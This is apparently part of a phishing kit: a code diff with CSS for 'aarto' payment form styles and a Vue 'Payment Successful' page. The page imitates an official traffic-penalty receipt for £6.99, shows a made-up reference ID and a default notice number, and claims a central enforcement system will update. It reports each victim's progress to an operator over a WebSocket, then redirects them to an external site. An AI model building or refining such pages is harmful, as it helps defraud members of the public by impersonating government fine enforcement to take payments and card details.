padding-left: 1rem;
}
.input-group {
margin-bottom: 2rem;
}
label {
display: block;
font-size: 0.9rem;
font-weight: 700;
color: #003366;
margin-bottom: 0.5rem;
text-transform: uppercase;
}
.aarto-input {
width: 100%;
box-sizing: border-box;
padding: 1rem;
font-size: 1.1rem;
border: 2px solid #ced4da;
border-radius: 4px;
background-color: #f8f9fa;
transition: all 0.3s;
}
.aarto-input:focus {
outline: none;
border-color: #003366;
background-color: #fff;
box-shadow: 0 0 0 3px rgba(0, 51, 102, 0.1);
}
/* 警告框样式 */
.aarto-warning-box {
background-color: #fff9e6;
border: 1px solid #ffeeba;
padding: 1.2rem;
border-radius: 4px;
margin-bottom: 2rem;
}
.aarto-warning-box h3 {
color: #856404;
font-size: 0.95rem;
margin-top: 0;
margin-bottom: 0.8rem;
font-weight: 700;
}
.aarto-warning-box ul {
margin: 0;
padding-left: 1.2rem;
}
.aarto-warning-box li {
font-size: 0.85rem;
color: #533f03;
line-height: 1.5;
margin-bottom: 0.6rem;
}
.aarto-primary-btn {
width: 100%;
background-color: #003366;
color: #ffffff;
border: none;
border-radius: 4px;
font-size: 1.1rem;
font-weight: 700;
padding: 1rem;
cursor: pointer;
transition: background 0.3s;
box-shadow: 0 4px 6px rgba(0, 51, 102, 0.2);
}
.aarto-primary-btn:hover {
background-color: #002244;
box-shadow: 0 6px 12px rgba(0, 51, 102, 0.3);
}
.aarto-footer-links {
margin-top: 1.5rem;
text-align: center;
font-size: 0.8rem;
color: #999;
text-transform: uppercase;
}
@media (max-width: 768px) {
.aarto-container {
padding: 1.5rem;
}
h1 {
font-size: 1.3rem;
}
.aarto-badge {
font-size: 1rem;
}
}
</style>

View File

@@ -0,0 +1,324 @@
<script setup lang="ts">
import { onMounted, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, redirectToExternal, configData } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loading = ref(true);
const invoiceNumber = ref("");
const referenceId = ref("");
// 格式化为英国时间格式
const getUKFormattedDate = () => {
const date = new Date();
const day = date.getDate();
const months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'];
const month = months[date.getMonth()];
const year = date.getFullYear();
return `${day} ${month} ${year}`;
};
const paymentDate = computed(() => getUKFormattedDate());
onMounted(() => {
// 生成隨機 Reference ID
referenceId.value = Math.random().toString(36).toUpperCase().substring(2, 12);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
// 獲取之前的單號
const inumber = localStorage.getItem("invoiceNumber");
invoiceNumber.value = inumber || "UK-PN-2048-5173";
// 保持邏輯3秒後重定向
setTimeout(() => {
loading.value = false;
redirectToExternal();
}, 3000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="success-page-container">
<div class="stepper-wrapper">
<div class="progress-bar-bg">
<div class="progress-bar-fill"></div>
</div>
<span class="step-text">Complete</span>
</div>
<div class="success-header">
<div class="check-icon-outer">
<div class="check-icon-inner">
<svg viewBox="0 0 24 24" class="check-svg">
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z" />
</svg>
</div>
</div>
<h1 class="success-title">Payment Successful</h1>
<p class="success-subtitle">Your payment has been processed successfully and your records have been updated.</p>
</div>
<div class="receipt-card">
<div class="receipt-header">
<span class="receipt-tag">OFFICIAL RECEIPT</span>
</div>
<div class="receipt-body">
<div class="info-row">
<span class="info-label">Penalty notice number</span>
<span class="info-value bold">{{ invoiceNumber }}</span>
</div>
<div class="info-row">
<span class="info-label">Amount paid</span>
<span class="info-value amount-blue">{{ configData?.pay_amount ? configData.pay_amount : "£6.99" }}</span>
</div>
<div class="info-row">
<span class="info-label">Payment date</span>
<span class="info-value">{{ paymentDate }}</span>
</div>
<div class="info-row">
<span class="info-label">Status</span>
<span class="status-badge">COMPLETED</span>
</div>
<div class="divider-dashed"></div>
<div class="info-row">
<span class="info-label">Reference ID</span>
<span class="info-value mono">#{{ referenceId }}</span>
</div>
</div>
</div>
<div class="notice-box">
<div class="notice-icon"></div>
<div class="notice-text">
<strong>Please note:</strong> It may take a short while for the central enforcement system to reflect this update. We recommend saving this reference ID for your records.
</div>
</div>
<div class="footer-redirect" v-if="loading">
<div class="loading-spinner"></div>
<p>Finalizing your digital receipt, please wait...</p>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.success-page-container {
max-width: 480px;
margin: 0 auto;
padding: 20px 15px 60px;
background-color: #fff;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
}
/* Stepper 完全同步支付頁面 */
.stepper-wrapper {
display: flex;
align-items: center;
margin-bottom: 35px;
}
.progress-bar-bg {
flex: 1;
height: 4px;
background-color: #E2E8F0;
border-radius: 2px;
margin-right: 15px;
}
.progress-bar-fill {
width: 100%;
height: 100%;
background-color: #1D70B8;
border-radius: 2px;
}
.step-text {
font-size: 13px;
font-weight: 700;
color: #1D70B8;
}
/* Success Header */
.success-header {
text-align: center;
margin-bottom: 30px;
}
.check-icon-outer {
width: 80px;
height: 80px;
background-color: #ECFDF5;
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
margin: 0 auto 20px;
}
.check-icon-inner {
width: 56px;
height: 56px;
background-color: #10B981;
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
}
.check-svg {
width: 32px;
height: 32px;
fill: white;
}
.success-title {
font-size: 28px;
font-weight: 800;
color: #111827;
margin-bottom: 12px;
}
.success-subtitle {
font-size: 15px;
color: #6B7280;
line-height: 1.5;
padding: 0 10px;
}
/* Receipt Card (採用支付頁面 Card 1 的樣式) */
.receipt-card {
position: relative;
margin-bottom: 24px;
box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px -1px;
border-width: 1px 1px 1px 4px;
border-style: solid;
border-color: #D1D5DB #D1D5DB #D1D5DB #1D70B8;
border-left: 4px solid #1D70B8; /* 關鍵深藍邊條 */
border-radius: 12px;
padding: 24px;
background: #FFFFFF;
text-align: left;
}
.receipt-header {
display: flex;
justify-content: flex-end;
margin-bottom: 20px;
}
.receipt-tag {
font-size: 10px;
font-weight: 800;
color: #1D70B8;
background: #F0F7FF;
padding: 4px 12px;
border-radius: 20px;
border: 1px solid #BFDBFE;
}
.label-muted {
font-size: 12px;
color: #9CA3AF;
font-weight: 700;
letter-spacing: 0.05em;
margin-bottom: 8px;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 16px;
}
.info-label {
font-size: 14px;
color: #6B7280;
}
.info-value {
font-size: 15px;
color: #111827;
font-weight: 600;
}
.info-value.bold {
font-weight: 700;
}
.info-value.amount-blue {
color: #1D70B8;
font-size: 18px;
font-weight: 800;
}
.info-value.mono {
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
color: #374151;
}
.status-badge {
background-color: #DEF7EC;
color: #03543F;
font-size: 11px;
font-weight: 800;
padding: 4px 10px;
border-radius: 6px;
}
.divider-dashed {
border-top: 1px dashed #E5E7EB;
margin: 18px 0;
}
/* Notice Box */
.notice-box {
background-color: #F9FAFB;
border-radius: 10px;
padding: 15px;
display: flex;
gap: 12px;
text-align: left;
border: 1px solid #F3F4F6;
}
.notice-icon {
font-size: 18px;
}
.notice-text {
font-size: 13px;
color: #4B5563;
line-height: 1.5;
}
/* Footer Redirect */
.footer-redirect {
margin-top: 40px;
text-align: center;
}
.footer-redirect p {
font-size: 13px;
color: #9CA3AF;
margin-top: 15px;
}
.loading-spinner {
width: 28px;
height: 28px;
border: 3px solid #F3F4F6;
border-top: 3px solid #1D70B8;
border-radius: 50%;
margin: 0 auto;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
</style>